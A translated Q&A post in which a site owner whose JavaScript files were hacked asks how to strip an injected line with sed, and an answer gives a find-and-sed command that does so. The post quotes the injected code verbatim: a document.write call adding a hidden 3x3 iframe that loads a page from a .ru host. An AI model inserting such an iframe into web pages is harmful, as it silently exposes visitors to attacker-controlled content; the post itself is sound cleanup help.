使用sed删除字符串

时间:2012-11-11 04:56:41

标签: sed

我被黑了并拥有数百个带有这行代码的.js文件,我正试图摆脱:

;document.write('<iframe src="http://sitecorporatemanagement.ru/pretzellogmeins.cgi?8" scrolling="auto" frameborder="no" align="center" height="3" width="3"></iframe>');

这是文件的最后一行,但我认为该文件包含windows行结尾,因为我什么时候这样做:

sed -i '/sitecorporatemanagement.ru/d' *

删除文件的完整内容。你能帮我搞定吗?我只需要删除完整的字符串。

感谢您提供的所有帮助。

1 个答案:

答案 0 :(得分:1)

我最终使用以下内容删除了有问题的代码,该代码正常工作。

find public_html/ -type f -name "*.js" -exec sed -i 's|;document.write(\x27<iframe src="http://sitecorporatemanagement.ru/pretzellogmeins.cgi?8" scrolling="auto" frameborder="no" align="center" height="3" width="3"></iframe>\x27);||g' {} \;